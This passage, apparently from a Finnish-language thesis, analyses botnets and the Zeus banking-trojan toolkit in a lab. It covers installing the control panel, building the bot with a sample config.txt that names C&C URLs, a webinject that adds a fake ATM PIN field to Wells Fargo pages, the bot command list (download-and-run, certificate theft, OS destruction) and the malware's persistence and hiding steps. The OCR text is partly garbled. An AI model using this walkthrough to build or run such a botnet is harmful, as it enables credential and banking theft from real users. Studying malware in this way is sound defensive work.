taminen. Palvelunestohydkkayksella tarkoitetaan verkossa olevan palvelun toiminnan
estamista niin, ettei se ole palvelun normaaleille kayttgjille saatavilla. Tama toteutetaan
yleensa niin, etté palveluun kohdistetaan niin suuri maara verkkoliikennetta etta palvelu
lamaantuu. Hajautetussa palvelunestohydkkayksessa hyokkaykseen ja verkkoliiken-
teen muodostamiseen osallistuu useampi kuin yksi lahde tietokone. Hajautettujen pal-
velunestohydkkayksien suorittaminen onkin bot-verkkojen yleisimpia kayttétapoja, kos-
ka puolustautuminen useasta lahteesta tulevaa haitallista verkkoliikennetta vastaan on
vaikeampaa kuin estdd yhdesté lahteesta tuleva liikenne. Kuvassa 6 on esitetty hajau-
tettu palvelunestohytkkays, jossa useasta bot-verkon asiakaskoneesta muodostetaan

likennettd hyokkayksen kohteeseen.
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DDos -kohde
Bot -werkon

hallitsija

palvelimet

Bot -verkon
asiakaskoneet

Kuva 6. Hajautettu palvelunestohyokkays.

Luottamuksellisten tietojen varastaminen

Bot-verkkojen avulla suoritettava luottamuksellisten tietojen varastaminen tapahtuu
yleensa joko suoraan haittaohjelmaan luodulla ohjeistuksella etsid tietokoneelta luot-
tamuksellisia tietoja tai haittaohjelmaan tehdylla ndppaintallennus funktiolla, joka tallen-
taa kayttajan kaikki tai ennalta maaritetyilla internetsivustoilla tehtavat nappaimisto-
painallukset. Haittaohjelmat etsivat yleensa tietokoneelta pankkitietoja, salasanoja,
luottokorttien numeroita, tietokoneen kayttaja- ja kirjautumistietoja, sovellusten rekiste-
réintikoodeja seka muita ennalta maaritettyja tietoja kuten tiettyja tiedostomuotoja. Tal-
laisia voivat olla mm. excel taulukot tai pdf dokumentit, joiden hytkkaaja arvioi olevan
kiinnostavia.
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Yksi esimerkki tallaisesta bot-verkosta on Zeus botverkko, jonka toimintaa esitelladn

tarkemmin mydhemmin t&ssa ty6ssa.

Haittaohjelmien asennus ja jakelu

Bot-verkkojen kautta tapahtuva haittaohjelmien asennus ja jakelu mahdollistaa uusien
koneiden etsimisen ja liittdmisen bot-verkkoon seka bot-verkossa jo olevien koneiden
kayttamisen eri tarkoitusperiin. Yleensa hyokkaajan tarkoituksena on mahdollisimman
suuren taloudellisen hyddyn tavoittelu. Yksi esimerkki téllaisesta bot-verkosta on mai-
nossovellukset, joista maksetaan kayttajalle mainosten napsautusmadarien mukaan eli
mitd enemman napsautuksia, sitd enemman kayttajalle maksetaan. Hyokkaaja voi
asentaa bot-verkkojen koneille mainossovelluksen, joka automaattisesti hoitaa mainos-

ten napsautukset ja tuottaa hyokkaajalle taloudellista hyttya.

Haittaohjelmien asennukseen voivat liittyd myods erilaiset lunnasvaatimussovellukset,
esimerkiksi bot-verkkoon kuuluville asiakaskoneille asennetaan sovellus, joka lukitsee
ja salaa kayttajan tiedot. Erillistd maksua vastaan kayttaja saa purkuavaimen, jolla tie-

dostot saa takaisin kayttoon.

4 Zeus toolkit

Zeus haittaohjelma havaittin ensimmaisen kerran vuonna 2006, jolloin siihen viitattiin
tietoturvayhtidissa tuntemattomana haittaohjelmana nimeltd PRG [10]. Taman jalkeen
Zeus-ohjelmasta on kehitetty ja muokattu lukuisia eri versioita erilaisiin kayttotarkoituk-
siin. Periaatteena jokaisessa versiossa on kuitenkin ollut kayttéajien henkilokohtaisten ja
luottamuksellisten tietojen kaappaaminen. Zeus on alun perin kehitetty Venagjalla ja
tarkoituksena on ollut, kuten haittaohjelmissa yleensa, taloudellisen hyddyn saavutta-
minen. Zeus on luokiteltu useasti maailman pahamaineisimmaksi haittaohjelmaksi, joka
pyrkii varastamaan kayttajien pankkisovellusten kirjautumis- ja maksutietoja. Heina-
kuussa 2009 Zeus haittaohjelmien saastuttamia tietokoneita laskettiin olevan pelkéas-
taan Yhdysvalloissa noin 3,6 miljoonaa ja sen on arvioitu tuottaneen yli 100 miljoonan

dollarin (USD) vahingot ilmestymisensa jalkeen [11].

Zeus haittaohjelman periaate on kaapata kayttajan luottamukselliset ja henkilokohtaiset

tiedot seka kayttdjan koneella olevista tiedostoista etta kayttdjan vierailemilta internet
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sivuilta, joihin han sy6ttaa tietojaan. Internetsivuilta tietojen kaappaaminen tapahtuu
kayttajan koneella jo ennen kuin tiedot lahetetdan sivustolle, joten vaikka itse yhteys
internetpalveluun olisi salattu, haittaohjelma saa tiedot kaapattua selkokielisend ennen
kuin tiedot salataan. Asiakaskoneilta kerattavat tiedot ovat pédasiassa kayttagjien
HTML- lomakkeille syéttamia tietoja, sdhkodpostin ja FTP-tilien kirjautumistietoja, erilais-
ten varmenteiden ja evasteiden kerddmista asiakaskoneilta. Zeus Toolkit sovellukses-
sa on my6s ominaisuus, jolla kayttdjdlle voidaan nayttaa internetsivuilla ylimaaraisia,
bot-verkon yllapitajan maarittamia kenttia, joissa voidaan pyytaa kayttajalta esim. luot-
tokortin tietoja, henkilétunnusta tai pankki- tai luottokortin pin-koodia. Kaapatut tiedot
lahetetddn bot-verkon yllapitdjan maarittelemalle hallintapalvelimelle, jossa tiedot tal-
lennetaan MySQL-tietokantaan. Tietokannan hallintaan tulee Zeus Toolkit sovelluksen
mukana internetselaimella kaytettava helppokéayttdinen hallintapaneeli, jonka kautta

bot-verkon koneita ja niiden tietoja voidaan tarkastella.

Zeus bot-verkko voidaan rakentaa julkisesti saatavilla olevalla Zeus Toolkit-
sovelluksella, joka mahdollistaa oman yksildidyn bot-verkon rakentamisen. Tama tar-
koittaa myos sitd, ettei ole olemassa yhta laajaa Zeus-bot-verkkoa vaan jokainen voi
rakentaa oman ja omilla yksildidyilla asetuksilla olevan bot-verkon. Zeus Toolkit sovel-
luksen kaytto esitelladn myohemmin tasséa tyossa. Zeus Toolkit-sovelluksesta on saa-
tavilla sekd maksullinen ettd maksuton versio. Maksullinen versio sisaltaa viimeisimmat
funktiot seka kattavan dokumentoinnin sovelluksen kayttdon. Maksullisen version hinta
on tyypillisesti ollut noin 700 dollaria (USD) [12]. Sovelluksen lahdekoodi vuoti julkisuu-
teen vuoden 2011 maaliskuussa, jonka jalkeen erilaisten Zeus-haittaohjelma muunnos-

ten maara kasvoi nopeasti.

4.1 Asennus

Zeus Toolkitin kayttd vaatii internetpalvelimen sekd MySQL-tietokantapalvelimen. In-
ternet-palvelimessa tulee myds olla tuki PHP-ohjelmointikielelle, koska bot-verkon oh-
jauspaneeli on ohjelmoitu PHP-kieltd kayttden ja bot-asiakaskoneiden ohjaus suorite-
taan PHP-skriptien avulla. Tassa tydssa edella mainittuja palvelimia ajetaan Kali Linux
-jakelun paélla ja palvelinten asennus on suoritettu XAMPP-paketin avulla joka siséltaa

kaikki tarvittavat sovellukset ja lisdosat.
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Palvelinten asennuksen jalkeen itse Zeus Toolkitin asennus on suoraviivainen toimen-
pide. Asennus suoritetaan Zeus Toolkitin mukana tulevalla PHP-skriptilla, joka [0ytyy
finstall/index.php polusta. Asennuksen aikana kayttgjalta kysytdan kayttajatunnus seka
salasana itse Zeus Toolkit sovellukseen sekd MySQL-tietokantapalvelimeen tarvittavat
tietokanta- ja kayttgjatiedot. Samalla maaritetddn myds bot-verkon salausavain, jota
kaytetaan tietojen salaamiseen C&C-palvelimen ja bot-verkon asiakaskoneiden valilla.
Kuvassa 7 on esitetty valikko, joka avautuu asennuksen tietoja maaritettdessa ja - In-

stall -- -painiketta painettaessa asennus kaynnistyy.

Control Panel 1.2.4.2 Installer

Thiz application install and configure vour contral panel on
this server, Please type settings and press 'Install',
Uzer name: [1-20 chars): Iadmin

Password (6-54 chars): I

My Sl server:

Host: j1z7.0.0.1

User: Irm:\t

Pazsword: I

Databasze: Icpdl:u

Local folders:

Feports: I_repu:ur‘ts

Online bot tirmeout: |25

Encryption key [(1-255 chars): I

¥ Enable write reports to database.

| e reparts to local path,

-- Install -- |

Kuva 7. Zeus asennus [12].

4.2 Bot-verkon yllapito ohjauspaneelin avulla

Asennuksen jalkeen ja ohjauspaneelin kirjautumisen jalkeen avautuu kuvassa 8 naky-

va sivu.
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« e [D 192.168,11.5/xampp/1/cp.php?m=home

CP :: Summary statistics

Infor mation:

Current user: admin
GMT date: 10.11.2013
GMT time: 12:59:12

Statistics:

- Summary

Infor mation

Total repors in database:
Time of fist activity:

Total bots:

Total active bots in 24 hours:

]

26.09.2013 18:53:46
1

0.00% -0

o Minimal version of bot: 127.19
Mazimal version of bot: 127.19
Eomet:
Bots Bomet: [ v] ]
Scripts | T
o At Reset Installs
Reports: -
i (L) Cnline ()
Search in database
- 1 — Empiv —
Search in files
Jabber notifier
System:
Infarmation
Options
User
Users
Logout

Kuva 8. Ohjauspaneelin etusivu.

Etusivulta 10ytyy vasemmasta reunasta valikko, josta padsee bot-verkon tarkempiin
tietoihin seké oikealla yhteenveto bot-verkosta. Yhteenvedosta ndkee mm. tietokan-
nassa olevien raporttien maaran sekd bot-verkkoon kuuluvien asiakaskoneiden luku-

maaran. Yhden hallintapalvelimen avulla voi hallita myds useampia bot-verkkoja.

Bot-verkkoon kuuluvia asiakaskoneita ja niista tulleita tietoja ja raportteja paasee kat-
somaan valitsemalla Bots-linkin vasemman reunan valikosta. Kuvassa 9 on esitetty
Bots-linkistéa avautuva sivu. Bot-verkkoon kuuluvia asiakaskoneita voi luokitella sivulla
olevan Filter-valikon avulla. Luokittelun voi tehdd mm. siten kuuluuko asiakaskone
NAT-palvelun sisa- vai ulkopuolelle, onko asiakaskone online vai offline tilassa. Kuvas-
sa nakyy bot -verkkoon kuuluva yksi asiakaskone, josta saa avattua useita monipuoli-

sia raportteja.
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Cormess - 0

e . . - . . - . P
« e [D 192.168.11.5/xampp/1/cp.php?m=botnet_bots&bots=&botnets=&ips=_&countries=&nat=08&online=08&install:
CP :: Bots
Infor mation:
. Filter
Current user: admin
GMT time: 14:00:04
Scripts
Reports:

Search in database

Bots actinn:l Full i

[
I T e
Ua

——— 0.000 -

Search in files

Jabhber notifier

System:

xpbotl 0003884e — default—1.2.7.19 102 158.11.10* —
Infarmation Fullinf i
Options Full infarmation + screenshot
User Today reports
Users Repors for last 7 days
Lagout Files

Remove from database
Remove from database including reports

Checksocks

Create new script

Kuva 9. Bot-verkkoon kuuluvat asiakaskoneet.

Kuvassa 10 nékyy Full information valinta bot-asiakaskoneesta. Tiedot sisdltavat mm.
bot-verkon asiakaskonekohtaisen BotlD-tunnuksen, sen mihin bot-verkkoon kyseinen
asiakaskone kuuluu, asiakaskoneen kayttdjarjestelméversion, ip-osoitteen sekd en-
simmaisen etta viimeisimman raportoinnin ajankohdan.

Full infor mation about bots

BotID: xpbotl_00028284=

Eotnet: — default—

Vesion: 127.19

05 Version: #P Professional SP 3, build 2600
0S Language: 1035

GMT: +3:00

Country: -

P 192 168.11.10*

Latency: 0.000

SackiLC port o

Time of first report: 26.09.20132 18:52:46
Time of last report: 06.10.2013 13:57:32
Online time: ———

In the list of installs: Yes

In the list of used:

Comments: I

Kuva 10. Bot-asiakaskoneen tiedot.

Kuvassa 11 nakyy asiakaskoneelta tullut raportti, jossa on kirjauduttu Microsoftin Live-
palveluun salatun HTTPS-yhteyden yli. Kuten kuva osoittaa, asiakaskoneelta on vélit-

tynyt hallintapalvelimelle login eli kayttajatunnus seka passwd eli salasana selkokieli-
sena.
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' CP :: Searchin database x] View report x [=1[=] )

e [ [ 192.168.11.5/xampp/1/cp.php?m=reports_db& r:f'l =
View report (HTTPS request, 951 bytes)
Bot ID: xpbotl_00038842
Botnet — default—
Version: 127.19
05 Verion %P Professianal SP 3, build 2600
0S Language: 1035
Local time: 28.08.2013 19:26:01
GMT: +3:00
Session time 00:0321
Report time: 28002013 162533
Country: -
1P 192 168 1110

Comments for bot:

In the list of used HNo

Process name: C:\Pragiam Filestintemet Explorediexplore.exe
User of process: XPBOTLElmeri
Source https:iilagin. ive.comippse curel post.sif? wa= wsignin 1.0& psny=118 ct=1380385475& ver=6. 1.6206. 0&wp=hiBI&wre ply=http: %2 F%2F mail.live.com%2 Fd efault. as pr&lc=1035& i d=5

https://login.live.com/ppsecure/post.srf7wa=wsigninl.0&rpsnv=11&ct=1380385475&rver=6.1.6206. D&wp=MBI&wreply=http:%2F%2Fma1l. L
referer: https://login.live.com/login.srf?wa=wsigninl.&rpsnv=11&ct=1380385475&rver=6. 1. 6206. 0&wp=MBI &wrep ly=http:%2F%s2Fmail.
Keys: testihotmail.comdfsdfsfsdfsfstestisalsaasna

Data:

login=testi@hotmail.com

passwd=testisalsaasna

type=11 K

PPFT=C1 k XZ9HPNmaGge gozHhbBOK*gAPHk OpSC7dalLeQCODE2UBLSBWAL 8BqhwOwl n25Ud r*evSpyHALL cLEdPw2Fahy C8Q7xR2pUtt1zZ7BrBa0l vwlKF*T CS0|

PPSX=Passpo

1dsbhe=1

s50=0

MNewlser=1

LoginOptions=3

11=0 =
_

4] [ D)

Kuva 11. Asiakaskoneen raportti.

Ohjauspaneelista 16ytyy myos Scripts-linkki, josta I6ytyy valmiita komentoja joita voi-
daan jakaa bot-verkon asiakaskoneille. Komentojen avulla voidaan mm. keratéa lisatie-
toja asiakaskoneilta seka tehdd muutoksia bot-verkkoon. Taulukossa 2 on esitetty kay-
tettdvissd olevat komennot. Asiakaskoneen ottaessa yhteyttd hallintapalvelimelle ase-
tustiedoston maarittaméan aikavalin mukaan hallintapalvelin tarkistaa onko kyseiselle
asiakaskoneelle maaritetty lahetettavia komentoja. Mikali kyseiselle asiakaskoneelle
I6ytyy lahetettavia komentoja, palvelin valittdd asiakaskoneelle komennon tai komennot

suoritettavaksi.
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Taulukko 2. Kaytettavat komennot. [15]

Komennot

reboot Kaynnistad tietokoneen uudelleen

kos Poistaa jarjestelmatiedostot ja tuhoaa kdyttdjarjestelman
shutdown Sammuttaa tietokoneen

bc_add [palvelu] [ip] [portti] Lisad takaisinkytkenta [palvelu] palvelimeen [ip]:[portti]
bc_del [palvelu] [ip] [portti] Poistaa takaisinkytkentd [palvelu] joka kayttaa [ip]:[portti]
block_url [url] Estda paasyn [url]

unblock_url [url] Sallii paasyn [url]

block_fake [url] Ei lisaa ylimaardista HTML -sisaltod [url] -osoitteeseen
unblock_fake [url] Sallii ylimaaraisen HTML -sisallon lisddmisen [url] -osoitteeseen
rexec [url] [args] Lataa ja suorita tiedosto

rexeci [url] [args] Lataa ja suorita tiedosto kadyttdjan avustamana

lexec [url] [args] Suorita paikallinen tiedosto

lexeci [url] [args] Suorita paikallinen tiedosto kdyttdjdn avustamana

addsf [file_mask...] Lisda tiedostomaskin paikalliseen tiedostohakuun

delsf [file_mask...] Poistaa tiedostomaskin paikallisesta hausta

getfile [path] Lataa tiedosto tai kansio

getcerts Varastaa tietokoneelta asennetut sertifikaatit

resetgrab Varastaa PSTORE (Protected Storage) -tiedot ja evasteet
upcfg [url] Pdivittda asetustiedoston

rename_bot [name] Uudelleen nimeaa bot -koneen

getmff Lataa Flash -evasteet

delmff Poistaa Flash -evasteet

sethomepage [url] Vaihtaa Internet Explorerin aloitussivun

4.3 Asiakaskoneille jaettavan haittaohjelman rakentaminen

Asiakaskoneille suoritettavaksi jaettavan haittaohjelman rakentaminen tapahtuu Zeus
Toolkit -paketin mukana tulevalla Zeus Builder -sovelluksella. Sovellus kayttaa haitta-
ohjelman rakentamisessa apuna bot-verkon yllapitajan maarittdmia konfiguraatiotiedos-
toja, joissa voidaan maaritella bot-verkon yksilollisia asetuksia. Yksi mielenkiintoinen
yksityiskohta Zeus Builder sovellusta avattaessa on se, etta se tarkistaa sita ajettavas-
sa tietokoneessa eli bot-verkon yllapitajan tietokoneessa, ettei siind ole Zeus-
haittaohjelmaa ajettuna. Kuvassa 12 on esitetty Zeus Builder sovelluksen avausikkuna,

jossa nékyy, ettei koneessa ole haittaohjelmaa asennettuna.



23

ZeuS Builder = | x

Information
Builder

Kuva 12. ZeuS Builder.
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Zeus Builder lataa asetustiedoston config.txt-tiedostosta. Kuvassa 13 asetustiedosto
on onnistuneesti ladattu. Asetustiedostoa p&&see muokkaamaan joko tekstieditorin

kautta tai Zeus Builder -ikkunassa Edit config -painikkeella.

ZeusS Builder =

|InF|:|rmati|:|n —Builder
—Config and loader building

Source config File:

I Z:\roothzeus_installzeus\config. kxk Browse, ..

| Edit: config | | Build config | | Build loader |

roukpuk

Loading config From File 'Z:\rootzeus_installlzeusiconfig.bxt', .. ;I
Loading succeeded!

Kuva 13. Asetustiedoston lataaminen.
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Seuraavalla sivulla esitettdvd esimerkkikoodi 1 on config.txt-tiedoston esimerkki. Tie-
dosto sisaltaa seka staattiset asetukset "StaticConfig” ettd dynaamiset asetukset "Dy-
namicConfig”. Staattisiin asetuksiin kuuluu mm. bot asiakaskoneen ja hallintapalveli-
men valisen yhteyden salauksen maarittdva salausavain, kuvassa “encryption_key”,
jonka bot-verkon yllapitaja maarittdd. Dynaamisin asetuksiin kuuluvat mm. webin-
jects.txt-tiedoston lataaminen, jossa maaritetaan minka sivujen kirjautumistietoja seura-
taan ja sivuille voidaan haluttaessa lisata kayttajalta ylimaaraisena pyydettavia tietoja,
kuten esimerkiksi verkkopankkien sivuilla pyydettavia maksukorttien pin-koodeja tai
muita henkilokohtaisia tietoja. Staattiset asetukset koodataan asiakaskoneille suoritet-
tavaksi lahetettavdan haittaohjelmaan, dynaamiset asetukset ovat tarvittaessa bot-
verkon yllapitajan toimesta muutettavia asetuksia, jotka bot-verkon asiakaskoneet la-

taavat tietyin aikavalein.

Konfiguraatiotiedostossa maaritelladn kolme eri ajastinta, joiden mukaan asiakasko-

neet suorittavat tehtavia:

1. Uuden dynaamisen konfiguraatiotiedoston hakeminen hallintapalvelimelta, kuvassa
timer_config (oletus 60 minuuttia).

2. Asiakaskoneelta kerdtyn ja tallennettujen tietojen lahettdminen hallintapalvelimelle,
kuvassa timer_logs (oletus 1 minuutti).

3. Tilastojen lahettdminen asiakaskoneelta hallintapalvelimelle, kuvassa timer_stats

(oletus 20 minuulttia).



;Build time: 0%:48:52 16.01.2010 GMT
;Version: 1.2.7.1%9

entry "StaticConfig"
;botnet "btn4"
timer config 10 1
timer leogs 1 1
timer stats 5 1
url config "http://1%2.168.11.53/xampp/1/cfg.bin"
url compip "http://192.168.11.5/xampp/1/ip.php" 4096
encryption key "asdSasdSasdSasdSasdaSsdSasdSasdasSdasds”
;blacklist languages 1045

end

entry "DynamicConfig"
url leoader "http://192.168.11.5/xampp/1/bt.exe"
url server "http://19%2.168.11.5/xampp/l/gate.php"
file webinjects "webinjects.txt"
entry "AdvancedConfigs"
;"http://152.168.11.5/xampp/1/cfgl.bin"

end

Esimerkkikoodi 1. Config.txt tiedoston esimerkki.

26
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Internetsivuille tehtéavien muutosten méaaritys tapahtuu webinjects.txt-tiedostossa. Kayt-
tdjan vieraillessa tiedostossa maéaritellylla sivuilla, selain lataa sivun normaalisti palve-
luntarjoajan palvelimelta mutta sivuille lisatédn huomaamatta kayttajan koneella bot-
verkon yllapitdjan méaarittelemia tietoja, esim. ylimaaréisia lomakekenttia. Esimerkki-
koodi 2 esittdd webinjects.txt-tiedostoon maéadritettyd koodia, joka nayttdd Wellsfar-

go.com-sivuilla vieraillessa kayttajalle ylimaaraisen ATM PIN-kentan.

Webinjects.txt-tiedostossa maaritelladn set_url parametrilla seurattava sivusto, jolle
ylim&araista sisaltod lisataan. Parametri data_before maarittd&d, mitd kohtaa sivuston
lahdekoodista etsitddn ja minkd kohdan jalkeen ylimaarainen sisaltd lisatdan ja para-
metrin data_inject jalkeen maaritetaan, mitd sisdltéa kayttdjan nakemalle sivustolle

lisataan. [13.]

set url https://www.wellsfargo.com/* G

data before

<gspan class="mozcloak"><input type="paszword"*</span>
data end

data inject

<brr><ztrong><label for="atmpin">ATM PIN</label>:</strong>

gnbsp;<br /><span claszs="mozcleoak"><input type="password"

accesskey="A" 1d="atmpin" name="USpass" =1ze="13" maxlength="14"
style="width:147px" tabindex="2"

/></span>

data end

data after

data end

Esimerkkikoodi 2. Wellsfargo.com-sivuille lisattava ATM PIN-kentta.

Webinjects.txt tiedostossa tulee oletuksena yli sata URL -osoitetta, joilla vieraillessa

kayttajalle esitetddn ylimaaraisia tietoja pyytavia kenttia.

Asetustiedoston maarittamisen jalkeen asetustiedoston rakennus tapahtuu painamalla
Build config-painiketta, joka tarkistaa asetustiedoston oikeellisuuden ja ilmoittaa
tarvittaessa virheistd. Kuvassa 14 on esitetty asetustiedoston onnistunut
valmistuminen. T&assd vaiheessa selkokielinen asetustiedosto muunnetaan
haittaohjelman maaritettyyn muotoon sekd salataan kayttamalld asetustiedostossa

maaritettya salausavainta. Salausalgoritmina kaytetdan RC4-salausta.
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Zeus Builder -

|InFu:urmatiu:un —Builder
—Zonfig and loader building

Source config File:

I Z:\roothzeus_installzeus\config. kxk Browse, ..

| Edit config | | Build config | | Build loader |

rCukpuk

102=https:/lot-port.bes. rufnames . nsf P ogin® ;I
1053=*wellsFarqa. com*
104=https;web.da-us, citibank, comjcgi-bingcitififportal ], do

105=htkps:  web,da-us. citibank, com)cgi-bincikififportalflf autberror, do*
106=https:/rupay.comfindex. php

107=htkps:}light .webmoney . rufdefault, asp:x

103=*banguepopulaire. fr*

109=htkp: /*. osmp.Fuy

110=htkps: fvaana, uno-g.comflocal_bdnt_unoefLogin_unoez. hkml

111=htkps: v, com, esfcgi-bindINclient_a105

BUILD SUCCEEDED! j
-

k

Kuva 14. Asetustiedoston rakentaminen.

Mikali bot-verkon yllapitaja haluaa muuttaa tai paivittdd bot-verkon asiakaskoneilla jo
olevaa asetustiedostoa, maarittdd esimerkiksi uusia seurattavia ja muokattavia inter-
net-sivuja, yllapitajan tulee rakentaa asetustiedosto uudelleen ja asettaa tiedosto palve-
limelle saataville. Asiakaskoneet kayvat bot-verkon yllapitdjan maarittamin aikavalein
hakemassa hallintapalvelimelta uusimman version asetustiedostosta ja ottavat uusim-

mat muutokset kayttoon.
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Build Loader-

painikkeesta, jolloin tarkistetaan vielda edellisessé vaiheessa salatun asetustiedoston

oikeellisuus ja ilmoitetaan tarvittaessa virheista. Kuvassa 15 onnistuneen haittaohjel-

man rakennuksen jalkeinen ilmoitus.

|InFu:urmatiu:un

Builder
—Config and loader building

ZeusS Builder

Source config File:

I Z:\roothzeus_installzeus)config, kxk

Browse. ..

| Edit config | | Build config | |

Build loader |

Oukput

BUILD SUCCEEDED!

Loading succeeded!

Building bot file. ..

boknet=-- default --

timer_config=3600000ms, a0000ms
timer_logs=60000rms, G0000rms
tirner_staks=1200000ms, 60000ms
url_config=http:ff192.168,.11.5/xamppj1/cfg.bin
url_compip=http: /{192,168, 11.5/xampp/1/ip.php
encryption_kew=0K

Build succeeded!

K

Loading config From File 'Z:rooklzeus_installzeusiconfig.bxt' ..

Kuva 15. Haittaohjelma rakennettu onnistuneesti.

Zeus Builder tuottaa asiakaskoneelle suoritettavaksi jaettavan exe tiedoston, joka liittaa

asiakaskoneen bot-verkon jaseneksi sen suorittamisen jalkeen. Kuvassa 16 bt.exe ja

btTest.exe ovat valmiina jaettavaksi asiakaskoneille.

{ [EKoti zeus_install

m!

bt exe

| o

config. txt

——
_‘é
btTest.exe cfg.bin
v
I L= |
webinjects txt zsb.exe

Kuva 16. Valmiit haittaohjelmat.

a o IQEtsi

=

cfgTest.bin
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4.4 Muutokset asiakaskoneessa haittaohjelman suorituksen jalkeen

Haittaohjelman suorituksen jalkeen asiakaskoneelta poistetaan kaytostd Windowsin
oma palomuuri, mik& onkin ainoa kayttdjan selkeasti huomattavissa oleva tapahtuma.

Muut kayttgjalle nakymattomat haittaohjelman suorittamat toimet ovat seuraavat:

1. Ensimmaiseksi haittaohjelma etsii asiakaskoneesta siella mahdollisesti jo olevaa
Zeus tartuntaa hakemalla sdra64.exe-nimista tiedostoa. Mikali uusi haittaohjelma 10y-
ta& asiakaskoneesta kyseisen tiedoston, se poistaa sen. Sama tapahtuu myds, mikali

haittaohjelmaa paivitetdan eli uusi versio poistaa asiakaskoneesta vanhan version.

2. Haittaohjelma tekee itsestdan kopion ja tallentaa kopion
C:/Windows/System32/sdra64.exe-polkuun. Samalla haittaohjelma luo satunnaisia
tavuja tiedoston peraan estdakseen virustorjuntaa havaitsemasta haittaohjelmaa. Hait-
taohjelma liittdd myds polun C:/Windows/System32/sdra64.exe rekisteriavaimeen
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/WindowsNT/CurrentVersion/Winlogo

n/Userinit, jolloin haittaohjelma suoritetaan my6s aina Windowsin kéynnistyessa.

3. Haittaohjelma etsii winlogon.exe-prosessin, johon se tartuttaa oman koodinsa ja luo
uuden saikeen, jossa taméa koodi suoritetaan. Liséksi haittakoodi winlogon-prosessissa
lisda haitallista koodia myds svchost.exe-prosessiin. Haittakoodi svchost.exe-

prosessissa vastaa verkkoyhteyksista seka verkkosivujen sisaltdjen muokkaamisesta.

4. Piiloutuakseen paremmin haittaohjelma kopioi Ntdll.dll-tiedoston muokattu-, paasy-
ja luomisajat haittaohjelmaan vastaaviksi tiedoiksi. Tarkoitus on, ettd haittaohjelma
nayttdd olleen jarjestelmassa jo Windowsin asennuksesta asti. Lisdksi haittaohjelma
muokkaa tiedoston sdra64.exe attribuutteja siten, ettd tiedosto on piilotettu eika nay
normaalissa tiedostolistauksessa. Tiedoston nékeminen vaatii kansioasetusten muut-

tamisen siten, ettd piilotetut tiedostot naytetaan.

5. Haittaohjelma luo piilotetun C:/Windows/System32/lowsec-kansion, johon se luo
local.ds- ja user.ds-tiedostot. Tiedostoista local.ds-tiedosto sisaltda viimeisimman dy-
naamisen konfiguraatiotiedoston mik&a on hallintapalvelimelta ladattu. User.ds-tiedosto
sisaltda asiakaskoneelta tallennetut tiedot, jotka odottavat toimitusta hallintapalvelimel-

le seuraavan yhteyden aikana. [14.]
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4.5 Asiakaskoneen ja hallintapalvelimen valinen kommunikointi

Asiakaskoneen ja bot-verkon hallintapalvelimen véalinen kommunikaatio noudattaa ku-
vassa 17 esitettyja periaatteita asiakaskoneen saatua haittaohjelma tartunnan. Kom-
munikaatio koneiden valilla tapahtuu toistuvasti tietyin aikavalein, jotka bot-verkon ylla-

pitdja maarittdd konfiguraatiotiedostossa.

Bot -werkon
asiakaskone

= -

C&C -hallintapalvelin

GET (cfg.bin

>
<salattu= cfg.bin
< |
OK (HTTP 200)
-
GET fip.php
>
IF -osoite
«
OK (HTTP 200)
-
FOST /gate.php >
OK (HTTP 200)
«

Kuva 17. Asiakaskoneen ja hallintapalvelimen valinen kommunikointi. [14]

1. Haittaohjelman suorituksen jalkeen asiakaskone pyytda hallintapalvelimelta uusim-

man bot-verkon konfiguraatiotiedoston. Asiakaskone lahettdd GET /cfg.bin-pyynnon.

2. Hallintapalvelin vastaa lahettamalla uusimman salatun version cfg.bin-tiedostosta.

3. Asiakaskone vastaanottaa salatun konfiguraatiotiedoston ja purkaa salauksen kayt-

téden haittaohjelman mukana jaettua salausavainta.
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4. Mikali bot-verkon yllapitaja haluaa liittdd asiakaskoneen bot-verkon hallintakoneeksi,
tulee asiakaskoneen ilmoittaa hallintapalvelimelle sen ulkoinen ip-osoite seka mahdol-
linen NAT (Network Address Translation) -palvelun kayttaminen. Asiakaskoneen ulkoi-
sen ip-osoitteen selvittdminen tapahtuu asiakaskoneelta ottamalla yhteys maaéritettyyn
bot-verkon palvelimeen joka taas ilmoittaa ip-osoitteen takaisin asiakaskoneelle. Palve-

linten osoitteet méaaritellaan konfiguraatiotiedoston staattisessa osassa.

5. Asiakaskone raportoi kaappaamansa tiedot sekd omat tilatiedot hallintapalvelimelle
[ahettamalla POST /gate.php-pyynnon, jotka hallintapalvelin kuittaa saaduksi asiakas-

koneelle.

5 Zeus toolkit kdytanndssa

Kaytannon testauksen Zeus Toolkit -sovelluksella suoritin kuvassa 18 nakyvassa ym-
paristossa. Jokaiselle testausympariston tydasemalle oli lisdksi asennettu Wireshark-
ohjelmisto, jolla voi kaapata ja analysoida tydaseman verkkoliikennetta. Testausympa-
riston Windows 7-tydasema vastaa Oraclen VirtualBox-sovelluksen suorittamisesta.
VirtualBox-sovelluksen avulla ajetaan bot-verkon asiakaskoneita omissa virtuaali-
koneissaan. Zeus-hallintapalvelinta ajetaan Linux-kayttéjarjestelmassa, jossa on asen-

nettuna Kali Linux jakelu.
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Zeus hallintapalvelin
ip-osoite 192.168.11.5
Kali Linux

Apache web -palvelin
MySL -tietokantapalvelin

—

Windows 7
Oracle VM VirtualBox -ohjelmisto

Bot -verkon asiakaskone (BOT1)  Bot -verkon asiakaskone (BOT2)

ip-osoite 192.168.11.15 ip-osoite 192.168.11.16
Oracle WM virtuaalikoneessa Oracle WM virtuaalikoneessa
gjettava Windows XP SP3 EN ajettava Windows XP SP3 FI

Kuva 18. Testausymparisto.

5.1 Asiakaskoneen tartuttaminen

Yleisimmat tavat haittaohjelman jakamiseksi kayttdjille ovat haittaohjelman suora lahet-
taminen esimerkiksi sahkopostin liitetiedostona, suoran haittaohjelmaan viittaavan in-
ternet-osoitteen sisaltavan linkin lahettaminen kayttajalle, jossa pyydetdén lataamaan
ja suorittamaan kyseinen sovellus tai asiakaskoneen tartuttaminen ns. drive-by tartun-
tana, jolloin haittaohjelma ladataan kayttdjan vieraillessa haittaohjelman siséltavalla

sivulla.

bt.exe haittaohjelma on tdssd esimerkissa ladattu hallintapalvelimen web-palvelimelta
ja suoritettu suoraan selaimessa. Selain antaa varoituksen suoritettavasta sovellukses-
ta (kuvassa 19), kuten muistakin vastaavista ilman julkaisijatietoa avattavista sovelluk-

sista.
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Internet Explorer - Suojausvaroitus @

Julkaisijan vahyistaminen ei onnistunut. Haluatko varmasti suorittaa
taman ohjelman?

Mirni: bk, exe

Julkaisija: Tuntematon julkaisija

Suatita ] [ £l3 suorita

allekirjoitusta, Suarita wain sellaisten julkaisijoiden ohjelmia, joikin uotat,

